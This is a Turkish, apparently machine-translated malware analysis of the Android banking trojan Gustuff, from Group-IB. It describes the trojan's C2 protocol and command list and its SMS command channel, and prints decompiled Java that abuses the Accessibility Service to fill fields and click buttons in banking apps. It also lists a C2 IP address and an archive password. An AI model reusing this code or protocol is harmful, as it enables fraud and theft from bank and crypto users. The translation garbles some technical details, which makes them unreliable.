Android Truva Atı Gustuff hesaplarınızın kaymağını (fiat ve kripto) nasıl sıyırıyor?

Android Truva Atı Gustuff hesaplarınızın kaymağını (fiat ve kripto) nasıl sıyırıyor?

Geçen gün Grup-IB rapor mobil Android Truva Atı Gustuff'un etkinliği hakkında. Yalnızca uluslararası pazarlarda çalışıyor, en büyük 100 yabancı bankanın müşterilerine, mobil 32 kripto cüzdan kullanıcılarına ve büyük e-ticaret kaynaklarına saldırıyor. Ancak Gustuff'un geliştiricisi, Bestoffer takma adı altında Rusça konuşan bir siber suçludur. Yakın zamana kadar Truva Atı'nı "bilgi ve deneyime sahip insanlar için ciddi bir ürün" olarak övüyordu.

Group-IB'de kötü amaçlı kod analizi uzmanı Ivan Pisarev araştırmasında Gustuff'un nasıl çalıştığını ve tehlikelerinin neler olduğunu detaylı bir şekilde anlatıyor.

Gustuff kimin peşinde?

Gustuff, tam otomatik işlevlere sahip yeni nesil kötü amaçlı yazılımlara aittir. Geliştiriciye göre Truva Atı, Kasım 2017'den bu yana Android telefonlara saldıran ve tanınmış uluslararası bankaların ve ödeme sistemlerinin mobil uygulamaları gibi görünen kimlik avı web formları aracılığıyla para çalan AndyBot kötü amaçlı yazılımının yeni ve geliştirilmiş bir versiyonu haline geldi. Bestoffer, Gustuff Bot kiralama fiyatının aylık 800 dolar olduğunu bildirdi.

Gustuff örneğinin analizi, Truva atının potansiyel olarak Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank gibi en büyük bankaların mobil uygulamalarının yanı sıra kripto cüzdanlarını kullanan müşterileri hedef aldığını gösterdi. Bitcoin Cüzdanı, BitPay, Cryptopay, Coinbase vb.

Başlangıçta klasik bir bankacılık Truva atı olarak oluşturulan Gustuff, mevcut sürümünde saldırı için potansiyel hedeflerin listesini önemli ölçüde genişletti. Gustuff, bankalara, fintech şirketlerine ve kripto hizmetlerine yönelik Android uygulamalarının yanı sıra pazaryeri uygulamaları, çevrimiçi mağazalar, ödeme sistemleri ve anlık mesajlaşma programlarının kullanıcılarına yöneliktir. Özellikle PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ve diğerleri.

Giriş noktası: kitlesel enfeksiyon hesaplaması

Gustuff, APK'lara bağlantılar içeren SMS postaları yoluyla Android akıllı telefonlara sızmanın "klasik" vektörü ile karakterize edilir. Sunucunun komutuyla bir Android cihaza Truva atı bulaştığında, Gustuff, etkilenen telefonun iletişim veritabanı veya sunucu veritabanı aracılığıyla daha da yayılabilir. Gustuff'un işlevselliği, operatörlerinin işlerinin toplu olarak bulaşması ve maksimum sermayeye dönüştürülmesi için tasarlanmıştır; meşru mobil bankacılık uygulamalarına ve kripto cüzdanlarına, para hırsızlığını hızlandırmanıza ve ölçeklendirmenize olanak tanıyan benzersiz bir "otomatik doldurma" işlevine sahiptir.

Truva Atı üzerinde yapılan bir araştırma, otomatik doldurma işlevinin, engelli kişilere yönelik bir hizmet olan Erişilebilirlik Hizmeti kullanılarak uygulandığını gösterdi. Gustuff, bu Android hizmetini kullanan diğer uygulamaların pencere öğeleriyle etkileşime karşı korumayı başarıyla atlayan ilk Truva Atı değil. Ancak Erişilebilirlik Hizmetinin araç dolgusu ile birlikte kullanılması hala oldukça nadirdir.

Gustuff, kurbanın telefonuna indirildikten sonra Erişilebilirlik Hizmetini kullanarak diğer uygulamaların (bankacılık, kripto para biriminin yanı sıra çevrimiçi alışveriş uygulamaları, mesajlaşma vb.) pencere öğeleriyle etkileşime girerek saldırganlar için gerekli eylemleri gerçekleştirebilir. . Örneğin, sunucunun komutuyla bir Truva atı, bankacılık uygulamalarındaki düğmelere basabilir ve metin alanlarının değerlerini değiştirebilir. Erişilebilirlik Hizmeti mekanizmasının kullanılması, Truva atının, bankaların önceki nesil mobil Truva atlarına karşı koymak için kullandığı güvenlik mekanizmalarını ve Google tarafından Android işletim sisteminin yeni sürümlerinde uygulanan güvenlik politikasındaki değişiklikleri atlamasına olanak tanır. Bu nedenle Gustuff, Google Koruma korumasını "nasıl devre dışı bırakacağını" biliyor: yazara göre bu işlev vakaların% 70'inde çalışıyor.

Android Truva Atı Gustuff hesaplarınızın kaymağını (fiat ve kripto) nasıl sıyırıyor?

Gustuff ayrıca meşru mobil uygulamaların simgeleriyle sahte PUSH bildirimleri görüntüleyebilir. Kullanıcı PUSH bildirimine tıklar ve sunucudan indirilen bir kimlik avı penceresi görür ve burada istenen banka kartı veya kripto cüzdanı verilerini girer. Başka bir Gustuff senaryosunda adına PUSH bildiriminin görüntülendiği uygulama açılıyor. Bu durumda kötü amaçlı yazılım, Erişilebilirlik Hizmeti aracılığıyla sunucudan gelen komut üzerine, sahtekarlık amaçlı bir bankacılık uygulamasının form alanlarını doldurabiliyor.

Gustuff'un işlevleri aynı zamanda sunucuya virüs bulaşmış bir cihaz hakkında bilgi göndermeyi, SMS mesajlarını okuma/gönderme yeteneğini, USSD isteklerini göndermeyi, SOCKS5 Proxy'yi başlatmayı, bir bağlantıyı takip etmeyi, dosyaları (belgelerin fotoğraf taramaları, ekran görüntüleri, fotoğraflar dahil) göndermeyi de içerir. sunucu, cihazı fabrika ayarlarına sıfırlayın.

Kötü Amaçlı Yazılım Analizi

Kötü amaçlı bir uygulamayı yüklemeden önce Android işletim sistemi, kullanıcıya Gustuff tarafından talep edilen hakların listesini içeren bir pencere gösterir:

Android Truva Atı Gustuff hesaplarınızın kaymağını (fiat ve kripto) nasıl sıyırıyor?
Uygulama ancak kullanıcının onayı alındıktan sonra kurulacaktır. Uygulamayı başlattıktan sonra Truva atı kullanıcıya bir pencere gösterecektir:

Android Truva Atı Gustuff hesaplarınızın kaymağını (fiat ve kripto) nasıl sıyırıyor?
Bundan sonra simgesini kaldıracaktır.

Yazara göre Gustuff, FTT'den bir paketleyici tarafından paketleniyor. Uygulama başlatıldıktan sonra komutları almak için periyodik olarak CnC sunucusuyla iletişim kurar. İncelediğimiz bazı dosyalar kontrol sunucusu olarak bir IP adresi kullanıyordu 88.99.171[.]105 (bundan sonra şu şekilde ifade edeceğiz: <%CnC%>).

Başlatıldıktan sonra program sunucuya mesaj göndermeye başlar http://<%CnC%>/api/v1/get.php.

Yanıtın aşağıdaki formatta JSON olması bekleniyor:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Uygulamaya her erişildiğinde, virüslü cihaz hakkında bilgi gönderilir. Mesaj formatı aşağıda gösterilmiştir. Alanların olduğunu belirtmekte fayda var. tam, ekstra, uygulamalar и izin – isteğe bağlıdır ve yalnızca CnC'den talep edilmesi durumunda gönderilecektir.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Yapılandırma verilerinin saklanması

Gustuff, operasyonel açıdan önemli bilgileri bir tercih dosyasında saklar. Dosya adı ve içindeki parametrelerin adları, dizeden MD5 toplamının hesaplanmasının sonucudur. 15413090667214.6.1<%name%>Nerede <%isim%> — başlangıç ​​adı-değeri. İsim üretme fonksiyonunun Python yorumu:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Aşağıda bunu şu şekilde belirteceğiz: nameGenerator(giriş).
Yani ilk dosya adı: nameGenerator("API_SERVER_LIST"), aşağıdaki adlara sahip değerleri içerir:

Değişken ismi Değer
nameGenerator("API_SERVER_LIST") Dizi biçiminde CnC adreslerinin bir listesini içerir.
nameGenerator("API_SERVER_URL") CNC adresini içerir.
nameGenerator("SMS_UPLOAD") Bayrak varsayılan olarak ayarlanmıştır. Bayrak ayarlanmışsa CnC'ye SMS mesajı gönderir.
nameGenerator("SMS_ROOT_NUMBER") Etkilenen cihaz tarafından alınan SMS mesajlarının gönderileceği telefon numarası. Varsayılan null'dur.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Bayrak varsayılan olarak temizlenir. Yüklüyse, virüslü bir cihaz bir SMS aldığında kök numaraya gönderilir.
nameGenerator("DEFAULT_APP_SMS") Bayrak varsayılan olarak temizlenir. Bu bayrak ayarlanırsa uygulama gelen SMS mesajlarını işleyecektir.
nameGenerator("DEFAULT_ADMIN") Bayrak varsayılan olarak temizlenir. Bayrak ayarlandıysa uygulamanın yönetici hakları vardır.
nameGenerator("DEFAULT_ACCESSIBILITY") Bayrak varsayılan olarak temizlenir. Bayrak ayarlandıysa Erişilebilirlik Hizmetini kullanan bir hizmet çalışıyor demektir.
nameGenerator("APPS_CONFIG") Belirli bir uygulamayla ilişkili Erişilebilirlik olayı tetiklendiğinde gerçekleştirilmesi gereken eylemlerin listesini içeren bir JSON nesnesi.
nameGenerator("APPS_INSTALLED") Cihazda yüklü uygulamaların bir listesini saklar.
nameGenerator("IS_FIST_RUN") Bayrak ilk başlangıçta sıfırlanır.
nameGenerator("UNIQUE_ID") Benzersiz bir tanımlayıcı içerir. Bot ilk kez başlatıldığında oluşturulur.

Sunucudan gelen komutları işlemek için modül

Uygulama, CnC sunucularının adreslerini kodlanmış bir dizi biçiminde saklar. Base85 çizgiler. Uygun komutun alınması üzerine CnC sunucularının listesi değiştirilebilir; bu durumda adresler bir tercih dosyasında saklanacaktır.

İsteğe yanıt olarak sunucu uygulamaya bir komut gönderir. Komutların ve parametrelerin JSON formatında sunulduğunu belirtmekte fayda var. Uygulama aşağıdaki komutları işleyebilir:

Ekip Açıklama
ileriBaşlat Etkilenen cihaz tarafından alınan SMS mesajlarını CnC sunucusuna göndermeye başlayın.
ileriDurdur Etkilenen cihaz tarafından alınan SMS mesajlarını CnC sunucusuna göndermeyi durdurun.
ussdÇalıştır USSD isteğini yürütün. USSD talebinde bulunmanız gereken numara, JSON alanı “numarası”nda bulunur.
SMS gönder Bir SMS mesajı gönderin (gerekirse mesaj parçalara bölünür). Komut, parametre olarak "to" (hedef numara) ve "body" (mesajın gövdesi) alanlarını içeren bir JSON nesnesi alır.
gönderSmsAb Virüs bulaşmış cihazın kişi listesindeki herkese SMS mesajları gönderin (gerekirse mesaj "parçalara ayrılır"). Mesaj gönderme arasındaki aralık 10 saniyedir. Mesajın gövdesi JSON "body" alanındadır
gönderSmsMass Komut parametrelerinde belirtilen kişilere SMS mesajları gönderin (gerekirse mesaj parçalara ayrılır). Mesaj gönderme arasındaki aralık 10 saniyedir. Bir parametre olarak komut, öğeleri "to" - hedef numarası ve "body" - mesajın gövdesi alanlarını içeren bir JSON dizisini ("sms" alanı) alır.
değişiklik Sunucusu Bu komut, parametre olarak "url" anahtarıyla bir değer alabilir - daha sonra bot, nameGenerator("SERVER_URL") veya "array" değerini değiştirecektir - ardından bot, diziyi nameGenerator'a ("API_SERVER_LIST") yazacaktır. Böylece uygulama CnC sunucularının adresini değiştirir.
yöneticiNumarası Komut bir kök sayıyla çalışacak şekilde tasarlanmıştır. Komut, aşağıdaki parametrelere sahip bir JSON nesnesini kabul eder: “number” — nameGenerator(“ROOT_NUMBER”)'ı alınan değerle değiştirin, “resend” — nameGenerator(“SMS_ROOT_NUMBER_RESEND”) değiştirin, “sendId” — nameGenerator(“ROOT_NUMBER”) öğesine gönderin ) benzersiz kimlik.
Güncelleme bilgisi Etkilenen cihazla ilgili bilgileri sunucuya gönderin.
Verileri silin Komutun amacı kullanıcı verilerini silmektir. Uygulamanın hangi adla başlatıldığına bağlı olarak, cihazın yeniden başlatılmasıyla veriler tamamen silinir (birincil kullanıcı) veya yalnızca kullanıcı verileri silinir (ikincil kullanıcı).
çorapBaşlat Proxy modülünü başlatın. Modülün çalışması ayrı bir bölümde anlatılmıştır.
çorapDurdur Proxy modülünü durdurun.
linki aç Linki izle. Bağlantı “url” anahtarının altındaki JSON parametresinde bulunur. Bağlantıyı açmak için “android.intent.action.VIEW” kullanılır.
TümSms'leri yükle Cihaz tarafından alınan tüm SMS mesajlarını sunucuya gönderin.
TümFotoğrafları yükle Virüs bulaşmış bir cihazdaki görüntüleri bir URL'ye gönderin. URL parametre olarak gelir.
dosya yükleme Virüs bulaşmış bir cihazdan bir URL'ye dosya gönderin. URL parametre olarak gelir.
Telefon Numaralarını yükle Telefon numaralarını kişi listenizden sunucuya gönderin. Parametre olarak “ab” anahtarını içeren bir JSON nesne değeri alınırsa uygulama, telefon rehberinden bir kişi listesi alır. Parametre olarak “sms” anahtarını içeren bir JSON nesnesi alınırsa uygulama, SMS mesajlarını gönderenlerin kişi listesini okur.
değişiklik Arşivi Uygulama parametre olarak gelen adresten “url” anahtarını kullanarak dosyayı indirir. İndirilen dosya “archive.zip” adı ile kaydedilir. Uygulama daha sonra isteğe bağlı olarak “b5jXh37gxgHBrZhQ4j3D” arşiv şifresini kullanarak dosyayı açacaktır. Sıkıştırılmış dosyalar [harici depolama]/hgps dizinine kaydedilir. Uygulama bu dizinde web sahtekarlıklarını saklar (aşağıda açıklanmıştır).
eylemler Komut, ayrı bir bölümde açıklanan Eylem Hizmeti ile çalışacak şekilde tasarlanmıştır.
test Hiçbir şey yapmamak.
indir Komutun amacı uzak sunucudan bir dosya indirmek ve onu "İndirilenler" dizinine kaydetmektir. URL ve dosya adı bir parametre olarak gelir, JSON parametre nesnesindeki alanlar sırasıyla: "url" ve "dosyaAdı".
Kaldır Bir dosyayı "İndirilenler" dizininden kaldırır. Dosya adı “fileName” anahtarıyla birlikte bir JSON parametresinde gelir. Standart dosya adı “tmp.apk”tır.
tebliğ Yönetim sunucusu tarafından tanımlanan açıklama ve başlık metinlerini içeren bir bildirim gösterin.

Komut Formatı tebliğ:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

İncelenmekte olan dosya tarafından oluşturulan bildirim, alanda belirtilen uygulama tarafından oluşturulan bildirimlerle aynı görünüyor uygulamayı yükleyeceğiz. Alan değeri ise uygulamayı aç — Doğru, bir bildirim açıldığında alanda belirtilen uygulama başlatılıyor uygulamayı yükleyeceğiz. Alan değeri ise uygulamayı aç — Yanlış öyleyse:

  • İçeriği dizinden indirilen bir kimlik avı penceresi açılır <%harici depolama%>/hgps/<%dosyaadı%>
  • İçeriği sunucudan indirilen bir kimlik avı penceresi açılır <%url%>?id=<%Bot id%>&app=<%Uygulama adı%>
  • Kart ayrıntılarını girme fırsatı sunan, Google Play Kartı görünümüne sahip bir kimlik avı penceresi açılır.

Uygulama herhangi bir komutun sonucunu <%CnC%>set_state.php aşağıdaki formatta bir JSON nesnesi olarak:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

EylemlerHizmet
Uygulamanın işlediği komutların listesi aksiyon. Bir komut alındığında, komut işleme modülü genişletilmiş komutu yürütmek için bu hizmete erişir. Hizmet, bir JSON nesnesini parametre olarak kabul eder. Hizmet aşağıdaki komutları yürütebilir:

1. PARAMS_ACTION — böyle bir komut alındığında, hizmet ilk olarak JSON parametresinden Type anahtarının değerini alır; bu değer aşağıdaki gibi olabilir:

  • hizmetBilgisi – alt komut değeri JSON parametresinden anahtarla alır dahilÖnemli Değil. Bayrak True ise uygulama bayrağı ayarlar FLAG_ISOLATED_PROCESS Erişilebilirlik Hizmetini kullanan bir hizmete. Bu şekilde hizmet ayrı bir süreçte başlatılacaktır.
  • kök — o anda odakta olan pencereyle ilgili bilgileri alır ve sunucuya gönderir. Uygulama, AccessibilityNodeInfo sınıfını kullanarak bilgi alır.
  • Gizem — yönetici haklarını isteyin.
  • geciktirmek — "data" anahtarı parametresinde belirtilen milisaniye sayısı kadar ActionsService'i askıya alın.
  • pencereler — kullanıcıya görülebilen pencerelerin bir listesini gönderin.
  • kurmak — uygulamayı virüslü cihaza yükleyin. Arşiv paketinin adı “fileName” anahtarındadır. Arşivin kendisi İndirilenler dizininde bulunur.
  • global – alt komutun geçerli pencereden gezinmesi amaçlanmıştır:
    • Hızlı Ayarlar menüsünde
    • geri
    • Ev
    • bildirimlere
    • son açılan uygulamalar penceresine

  • başlatmak - uygulamayı başlat. Uygulama adı anahtarla parametre olarak gelir veri.
  • sesleri — ses modunu sessiz olarak değiştirin.
  • kilidini açmak — ekranın ve klavyenin arka ışığını tam parlaklığa açar. Uygulama bu eylemi, [Application lable]:INFO dizesini etiket olarak belirterek WakeLock'u kullanarak gerçekleştirir.
  • izinYer paylaşımı — işlev uygulanmadı (komutun yürütülmesine verilen yanıt {"message":"Desteklenmiyor"} veya {"message":"low sdk"} şeklindedir)
  • jest — işlev uygulanmadı (komut yürütmeye verilen yanıt {"message":"Desteklenmiyor"}veya {"message":"Düşük API"} olur)
  • izinleri — bu komut uygulama için izin istemek için gereklidir. Ancak sorgu işlevi uygulanmadığından komut anlamsızdır. İstenen hakların listesi, "izinler" anahtarıyla birlikte bir JSON dizisi olarak gelir. Standart liste:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • açık — kimlik avı penceresi görüntülemek. Sunucudan gelen parametreye bağlı olarak uygulama aşağıdaki kimlik avı pencerelerini görüntüleyebilir:
    • İçeriği bir dizindeki dosyaya yazılan bir kimlik avı penceresi göster <%harici dizin%>/hgps/<%param_filename%>. Kullanıcının pencereyle etkileşiminin sonucu şu adrese gönderilecektir: <%CnC%>/records.php
    • İçeriği adresten önceden yüklenen bir kimlik avı penceresi göster <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Kullanıcının pencereyle etkileşiminin sonucu şu adrese gönderilecektir: <%CnC%>/records.php
    • Google Play Kartı görünümünde bir kimlik avı penceresi gösterin.

  • interaktif — komut, AcessibilityService kullanan diğer uygulamaların pencere öğeleriyle etkileşim kurmak üzere tasarlanmıştır. Programda etkileşim için özel bir hizmet uygulanmıştır. İncelenmekte olan uygulama pencerelerle etkileşime girebilir:
    • Şu anda aktif. Bu durumda parametre, etkileşim kurmanız gereken nesnenin kimliğini veya metnini (adını) içerir.
    • Komut yürütüldüğünde kullanıcı tarafından görülebilir. Uygulama pencereleri kimliğe göre seçer.

    Nesneleri almış olmak ErişilebilirlikNodeInfo İlgili pencere öğeleri için uygulama, parametrelere bağlı olarak aşağıdaki eylemleri gerçekleştirebilir:

    • odak — odağı nesneye ayarlayın.
    • tıklayın — bir nesneye tıklayın.
    • actionId — kimliğe göre bir işlem gerçekleştirin.
    • setText — bir nesnenin metnini değiştirin. Metni değiştirmek iki şekilde mümkündür: bir eylem gerçekleştirin ACTION_SET_TEXT (etkilenen cihazın Android sürümü şuna eşit veya daha eskiyse: LOLİPOP) veya panoya bir dize yerleştirip onu bir nesneye yapıştırarak (eski sürümler için). Bu komut bir bankacılık uygulamasındaki verileri değiştirmek için kullanılabilir.

2. PARAMS_ACTIONS - ile aynı PARAMS_ACTIONyalnızca bir JSON komut dizisi gelir.

Görünüşe göre birçok kişi, başka bir uygulamanın pencere öğeleriyle etkileşim kurma işlevinin neye benzediğiyle ilgilenecek. Gustuff'ta bu işlevsellik şu şekilde uygulanır:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Metin değiştirme işlevi:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Böylece kontrol sunucusunun doğru yapılandırılmasıyla Gustuff, bankacılık uygulamasındaki metin alanlarını doldurabiliyor ve işlemi tamamlamak için gerekli butonlara basabiliyor. Truva Atı'nın uygulamada oturum açmasına bile gerek yoktur; PUSH bildirimini görüntülemek ve ardından önceden yüklenen bankacılık uygulamasını açmak için bir komut göndermek yeterlidir. Kullanıcı kendi kimliğini doğrulayacak ve ardından Gustuff arabayı doldurabilecek.

SMS mesajı işleme modülü

Uygulama, virüslü cihazın SMS mesajlarını kabul etmesi için bir olay işleyicisi yükler. İncelenmekte olan uygulama, operatörden SMS mesajının gövdesinde yer alan komutları alabilir. Komutlar şu formatta gelir:

7!5=<%Base64 kodlu komut%>

Uygulama, gelen tüm SMS mesajlarında bu dizeyi arar. 7!5=, bir dize algılandığında, dizenin kodunu ofset 64'te Base4'ten çözer ve komutu yürütür. Komutlar CnC'dekilere benzer. Yürütme sonucu, komutun geldiği numaraya gönderilir. Yanıt formatı:

7*5=<%“result_code komutunun” Base64 kodlaması%>

Uygulama isteğe bağlı olarak alınan tüm mesajları Kök numarasına gönderebilir. Bunun için tercih dosyasında Kök numarası belirtilmeli ve mesaj yönlendirme bayrağı ayarlanmalıdır. Saldırganın numarasına şu formatta bir SMS mesajı gönderilir:

<%Numaradan%> - <%Zaman, format: gg/AA/yyyy SS:dd:ss%> <%SMS gövdesi%>

Ayrıca isteğe bağlı olarak uygulama CnC'ye mesaj gönderebilmektedir. SMS mesajı sunucuya JSON formatında gönderilir:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Bayrak ayarlanmışsa nameGenerator("DEFAULT_APP_SMS") – uygulama SMS mesajını işlemeyi durdurur ve gelen mesajların listesini temizler.

Proxy modülü

İncelenmekte olan uygulama, konfigürasyonlu statik alanları içeren ayrı bir sınıfa sahip olan bir Backconnect Proxy modülü (bundan sonra Proxy modülü olarak anılacaktır) içerir. Yapılandırma verileri örnekte anlaşılır biçimde saklanır:

Android Truva Atı Gustuff hesaplarınızın kaymağını (fiat ve kripto) nasıl sıyırıyor?

Proxy modülü tarafından gerçekleştirilen tüm işlemler dosyalara kaydedilir. Bunu yapmak için Harici Depolama'daki uygulama, günlük dosyalarının depolandığı "logs" (yapılandırma sınıfındaki ProxyConfigClass.logsDir alanı) adı verilen bir dizin oluşturur. Günlüğe kaydetme şu adlara sahip dosyalarda gerçekleşir:

  1. main.txt – CommandServer isimli sınıfın çalışmaları bu dosyaya kaydedilir. Aşağıda, str dizesinin bu dosyaya kaydedilmesi mainLog(str) olarak gösterilecektir.
  2. oturum-<%id%>.txt — bu dosya, belirli bir proxy oturumuyla ilişkili günlük verilerini kaydeder. Aşağıda, str dizesinin bu dosyaya kaydedilmesi sessionLog (str) olarak belirtilecektir.
  3. sunucu.txt – bu dosya yukarıda açıklanan dosyalara yazılan tüm verileri günlüğe kaydetmek için kullanılır.

Günlük veri formatı:

<%Date%> [Thread[<%thread id%>], id[]]: günlük dizesi

Proxy modülünün çalışması sırasında ortaya çıkan istisnalar da bir dosyaya kaydedilir. Bunu yapmak için uygulama aşağıdaki formatta bir JSON nesnesi oluşturur:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Daha sonra bunu bir dize temsiline dönüştürür ve günlüğe kaydeder.

İlgili komut alındıktan sonra Proxy modülü başlatılır. Proxy modülünü başlatmak için bir komut alındığında uygulama adı verilen bir hizmeti başlatır. AnaHizmetProxy modülünün çalışmasını yönetmekten - onu başlatmak ve durdurmaktan sorumludur.

Hizmete başlama aşamaları:

1. Dakikada bir kez çalışan bir zamanlayıcı başlatır ve Proxy modülünün etkinliğini kontrol eder. Modül aktif değilse başlatır.
Ayrıca olay tetiklendiğinde android.net.conn.CONNECTIVITY_CHANGE Proxy modülü başlatılır.

2. Uygulama parametreyle bir uyandırma kilidi oluşturur PARTIAL_WAKE_LOCK ve onu yakalar. Bu, cihazın CPU'sunun uyku moduna geçmesini engeller.

3. Önce satırı günlüğe kaydederek Proxy modülünün komut işleme sınıfını başlatır mainLog("sunucuyu başlat") и

Sunucu::start() ana bilgisayar[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

nerede proxy_cnc, command_port ve proxy_port – Proxy sunucu yapılandırmasından elde edilen parametreler.

Komut işleme sınıfı denir Komut Bağlantısı. Başlangıçtan hemen sonra aşağıdaki eylemleri gerçekleştirir:

4. Bağlanılıyor ProxyConfigClass.host: ProxyConfigClass.commandPort ve virüslü cihazla ilgili verileri buraya JSON formatında gönderir:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Nerede:

  • id – tanımlayıcı, “x” isimli Paylaşımlı Tercihler dosyasından “id” alanı ile bir değer almaya çalışır. Eğer bu değer elde edilememişse yeni bir değer üretir. Böylece Proxy modülünün, Bot ID'sine benzer şekilde oluşturulan kendi tanımlayıcısı vardır.
  • imei — cihazın IMEI'si. Değerin alınması sırasında bir hata oluşmuşsa bu alan yerine hata mesajı yazılacaktır.
  • imsi — Cihazın Uluslararası Mobil Abone Kimliği. Değerin alınması sırasında bir hata oluşmuşsa bu alan yerine hata mesajı yazılacaktır.
  • model — Son ürünün son kullanıcı tarafından görülebilen adı.
  • üretici — Ürünün/donanımın üreticisi (Build.MANUFACTURER).
  • androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" biçiminde bir dize
  • ülke — cihazın geçerli konumu.
  • partnerId boş bir dizedir.
  • packageName – paket adı.
  • networkType — mevcut ağ bağlantısının türü (örnek: “WIFI”, “MOBİL”). Hata durumunda null değerini döndürür.
  • hasGsmSupport – doğru – telefon GSM'yi destekliyorsa, aksi halde yanlış.
  • simReady – SIM kart durumu.
  • simCountry - ISO ülke kodu (SIM kart sağlayıcısına göre).
  • networkOperator — operatörün adı. Değerin alınması sırasında bir hata oluşmuşsa bu alan yerine hata mesajı yazılacaktır.
  • simOperator — Servis Sağlayıcı Adı (SPN). Değerin alınması sırasında bir hata oluşmuşsa bu alan yerine hata mesajı yazılacaktır.
